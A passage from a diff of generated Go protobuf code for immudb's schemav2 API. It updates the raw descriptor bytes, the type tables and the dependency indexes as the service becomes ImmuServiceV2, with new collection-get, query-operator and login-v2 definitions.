0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, + 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, + 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x88, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, + 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, + 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0x8f, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x32, 0xbf, 0x06, 0x0a, 0x0b, 0x49, - 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x67, 0x0a, 0x05, 0x4c, 0x6f, - 0x67, 0x69, 0x6e, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x1f, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x19, 0x22, 0x14, 0x2f, 0x61, 0x70, 0x69, - 0x2f, 0x76, 0x32, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, - 0x3a, 0x01, 0x2a, 0x12, 0x82, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x2b, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x25, 0x22, 0x20, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x2f, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x8e, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x26, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, - 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x25, 0x22, 0x20, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x2f, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x12, 0x95, 0x01, 0x0a, 0x10, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x28, + 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x22, 0x2f, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x29, 0x22, 0x24, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, - 0x32, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, - 0x2a, 0x12, 0x90, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x4c, 0x69, 0x73, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x27, 0x22, 0x22, 0x2f, - 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, - 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x85, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x2f, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x29, 0x22, 0x24, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x2f, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x42, 0xb1, 0x01, 0x5a, - 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, - 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, - 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x92, 0x41, - 0x7f, 0x12, 0x14, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, - 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, - 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, - 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, - 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, - 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, - 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, - 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, + 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, + 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x81, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x28, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x2b, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbb, 0x01, 0x5a, 0x2d, 0x67, 0x69, + 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, + 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, + 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x92, 0x41, 0x88, 0x01, 0x12, + 0x14, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, + 0x50, 0x49, 0x20, 0x76, 0x32, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x59, + 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, + 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, + 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, + 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, + 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, + 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, + 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -924,60 +1088,67 @@ func file_schemav2_proto_rawDescGZIP() []byte { return file_schemav2_proto_rawDescData } -var file_schemav2_proto_msgTypes = make([]protoimpl.MessageInfo, 16) +var file_schemav2_proto_enumTypes = make([]protoimpl.EnumInfo, 2) +var file_schemav2_proto_msgTypes = make([]protoimpl.MessageInfo, 17) var file_schemav2_proto_goTypes = []interface{}{ - (*DocumentInsertRequest)(nil), // 0: immudb.schemav2.DocumentInsertRequest - (*DocumentSearchRequest)(nil), // 1: immudb.schemav2.DocumentSearchRequest - (*DocumentSearchResponse)(nil), // 2: immudb.schemav2.DocumentSearchResponse - (*LoginRequest)(nil), // 3: immudb.schemav2.LoginRequest - (*LoginResponse)(nil), // 4: immudb.schemav2.LoginResponse - (*PossibleIndexValue)(nil), // 5: immudb.schemav2.PossibleIndexValue - (*CollectionCreateRequest)(nil), // 6: immudb.schemav2.CollectionCreateRequest - (*CollectionInformation)(nil), // 7: immudb.schemav2.CollectionInformation - (*CollectionListRequest)(nil), // 8: immudb.schemav2.CollectionListRequest - (*CollectionListResponse)(nil), // 9: immudb.schemav2.CollectionListResponse - (*CollectionDeleteRequest)(nil), // 10: immudb.schemav2.CollectionDeleteRequest - nil, // 11: immudb.schemav2.DocumentSearchRequest.QueryEntry - nil, // 12: immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry - nil, // 13: immudb.schemav2.CollectionCreateRequest.IndexKeysEntry - nil, // 14: immudb.schemav2.CollectionInformation.PrimaryKeysEntry - nil, // 15: immudb.schemav2.CollectionInformation.IndexKeysEntry - (*_struct.Struct)(nil), // 16: google.protobuf.Struct - (*_struct.Value)(nil), // 17: google.protobuf.Value - (*schema.VerifiableTx)(nil), // 18: immudb.schema.VerifiableTx - (*empty.Empty)(nil), // 19: google.protobuf.Empty + (QueryOperator)(0), // 0: immudb.schemav2.QueryOperator + (PossibleIndexType)(0), // 1: immudb.schemav2.PossibleIndexType + (*DocumentInsertRequest)(nil), // 2: immudb.schemav2.DocumentInsertRequest + (*DocumentQuery)(nil), // 3: immudb.schemav2.DocumentQuery + (*DocumentSearchRequest)(nil), // 4: immudb.schemav2.DocumentSearchRequest + (*DocumentSearchResponse)(nil), // 5: immudb.schemav2.DocumentSearchResponse + (*LoginRequest)(nil), // 6: immudb.schemav2.LoginRequest + (*LoginResponseV2)(nil), // 7: immudb.schemav2.LoginResponseV2 + (*CollectionCreateRequest)(nil), // 8: immudb.schemav2.CollectionCreateRequest + (*CollectionInformation)(nil), // 9: immudb.schemav2.CollectionInformation + (*CollectionGetRequest)(nil), // 10: immudb.schemav2.CollectionGetRequest + (*CollectionListRequest)(nil), // 11: immudb.schemav2.CollectionListRequest + (*CollectionListResponse)(nil), // 12: immudb.schemav2.CollectionListResponse + (*CollectionDeleteRequest)(nil), // 13: immudb.schemav2.CollectionDeleteRequest + (*Proof)(nil), // 14: immudb.schemav2.Proof + nil, // 15: immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry + nil, // 16: immudb.schemav2.CollectionCreateRequest.IndexKeysEntry + nil, // 17: immudb.schemav2.CollectionInformation.PrimaryKeysEntry + nil, // 18: immudb.schemav2.CollectionInformation.IndexKeysEntry + (*_struct.Struct)(nil), // 19: google.protobuf.Struct + (*_struct.Value)(nil), // 20: google.protobuf.Value + (*schema.VerifiableTx)(nil), // 21: immudb.schema.VerifiableTx + (*empty.Empty)(nil), // 22: google.protobuf.Empty } var file_schemav2_proto_depIdxs = []int32{ - 16, // 0: immudb.schemav2.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 11, // 1: immudb.schemav2.DocumentSearchRequest.query:type_name -> immudb.schemav2.DocumentSearchRequest.QueryEntry - 16, // 2: immudb.schemav2.DocumentSearchResponse.results:type_name -> google.protobuf.Struct - 12, // 3: immudb.schemav2.CollectionCreateRequest.primaryKeys:type_name -> immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry - 13, // 4: immudb.schemav2.CollectionCreateRequest.indexKeys:type_name -> immudb.schemav2.CollectionCreateRequest.IndexKeysEntry - 14, // 5: immudb.schemav2.CollectionInformation.primaryKeys:type_name -> immudb.schemav2.CollectionInformation.PrimaryKeysEntry - 15, // 6: immudb.schemav2.CollectionInformation.indexKeys:type_name -> immudb.schemav2.CollectionInformation.IndexKeysEntry - 7, // 7: immudb.schemav2.CollectionListResponse.collections:type_name -> immudb.schemav2.CollectionInformation - 17, // 8: immudb.schemav2.DocumentSearchRequest.QueryEntry.value:type_name -> google.protobuf.Value - 5, // 9: immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexValue - 5, // 10: immudb.schemav2.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexValue - 5, // 11: immudb.schemav2.CollectionInformation.PrimaryKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexValue - 5, // 12: immudb.schemav2.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexValue - 3, // 13: immudb.schemav2.ImmuService.Login:input_type -> immudb.schemav2.LoginRequest - 0, // 14: immudb.schemav2.ImmuService.DocumentInsert:input_type -> immudb.schemav2.DocumentInsertRequest - 1, // 15: immudb.schemav2.ImmuService.DocumentSearch:input_type -> immudb.schemav2.DocumentSearchRequest - 6, // 16: immudb.schemav2.ImmuService.CollectionCreate:input_type -> immudb.schemav2.CollectionCreateRequest - 8, // 17: immudb.schemav2.ImmuService.CollectionList:input_type -> immudb.schemav2.CollectionListRequest - 10, // 18: immudb.schemav2.ImmuService.CollectionDelete:input_type -> immudb.schemav2.CollectionDeleteRequest - 4, // 19: immudb.schemav2.ImmuService.Login:output_type -> immudb.schemav2.LoginResponse - 18, // 20: immudb.schemav2.ImmuService.DocumentInsert:output_type -> immudb.schema.VerifiableTx - 2, // 21: immudb.schemav2.ImmuService.DocumentSearch:output_type -> immudb.schemav2.DocumentSearchResponse - 7, // 22: immudb.schemav2.ImmuService.CollectionCreate:output_type -> immudb.schemav2.CollectionInformation - 9, // 23: immudb.schemav2.ImmuService.CollectionList:output_type -> immudb.schemav2.CollectionListResponse - 19, // 24: immudb.schemav2.ImmuService.CollectionDelete:output_type -> google.protobuf.Empty - 19, // [19:25] is the sub-list for method output_type - 13, // [13:19] is the sub-list for method input_type - 13, // [13:13] is the sub-list for extension type_name - 13, // [13:13] is the sub-list for extension extendee - 0, // [0:13] is the sub-list for field type_name + 19, // 0: immudb.schemav2.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 0, // 1: immudb.schemav2.DocumentQuery.operator:type_name -> immudb.schemav2.QueryOperator + 20, // 2: immudb.schemav2.DocumentQuery.value:type_name -> google.protobuf.Value + 3, // 3: immudb.schemav2.DocumentSearchRequest.query:type_name -> immudb.schemav2.DocumentQuery + 19, // 4: immudb.schemav2.DocumentSearchResponse.results:type_name -> google.protobuf.Struct + 15, // 5: immudb.schemav2.CollectionCreateRequest.primaryKeys:type_name -> immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry + 16, // 6: immudb.schemav2.CollectionCreateRequest.indexKeys:type_name -> immudb.schemav2.CollectionCreateRequest.IndexKeysEntry + 17, // 7: immudb.schemav2.CollectionInformation.primaryKeys:type_name -> immudb.schemav2.CollectionInformation.PrimaryKeysEntry + 18, // 8: immudb.schemav2.CollectionInformation.indexKeys:type_name -> immudb.schemav2.CollectionInformation.IndexKeysEntry + 9, // 9: immudb.schemav2.CollectionListResponse.collections:type_name -> immudb.schemav2.CollectionInformation + 1, // 10: immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexType + 1, // 11: immudb.schemav2.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexType + 1, // 12: immudb.schemav2.CollectionInformation.PrimaryKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexType + 1, // 13: immudb.schemav2.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexType + 6, // 14: immudb.schemav2.ImmuServiceV2.LoginV2:input_type -> immudb.schemav2.LoginRequest + 2, // 15: immudb.schemav2.ImmuServiceV2.DocumentInsert:input_type -> immudb.schemav2.DocumentInsertRequest + 4, // 16: immudb.schemav2.ImmuServiceV2.DocumentSearch:input_type -> immudb.schemav2.DocumentSearchRequest + 8, // 17: immudb.schemav2.ImmuServiceV2.CollectionCreate:input_type -> immudb.schemav2.CollectionCreateRequest + 10, // 18: immudb.schemav2.ImmuServiceV2.CollectionGet:input_type -> immudb.schemav2.CollectionGetRequest + 11, // 19: immudb.schemav2.ImmuServiceV2.CollectionList:input_type -> immudb.schemav2.CollectionListRequest + 13, // 20: immudb.schemav2.ImmuServiceV2.CollectionDelete:input_type -> immudb.schemav2.CollectionDeleteRequest + 7, // 21: immudb.schemav2.ImmuServiceV2.LoginV2:output_type -> immudb.schemav2.LoginResponseV2 + 21, // 22: immudb.schemav2.ImmuServiceV2.DocumentInsert:output_type -> immudb.schema.VerifiableTx + 5, // 23: immudb.schemav2.ImmuServiceV2.DocumentSearch:output_type -> immudb.schemav2.DocumentSearchResponse + 9, // 24: immudb.schemav2.ImmuServiceV2.CollectionCreate:output_type -> immudb.schemav2.CollectionInformation + 9, // 25: immudb.schemav2.ImmuServiceV2.CollectionGet:output_type -> immudb.schemav2.CollectionInformation + 12, // 26: immudb.schemav2.ImmuServiceV2.CollectionList:output_type -> immudb.schemav2.CollectionListResponse + 22, // 27: immudb.schemav2.ImmuServiceV2.CollectionDelete:output_type -> google.protobuf.Empty + 21, // [21:28] is the sub-list for method output_type + 14, // [14:21] is the sub-list for method input_type + 14, // [14:14] is the sub-list for extension type_name + 14, // [14:14] is the sub-list for extension extendee + 0, // [0:14] is the sub-list for field type_name } func init() { file_schemav2_proto_init() } @@ -999,7 +1170,7 @@ func file_schemav2_proto_init() { } } file_schemav2_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentSearchRequest); i { + switch v := 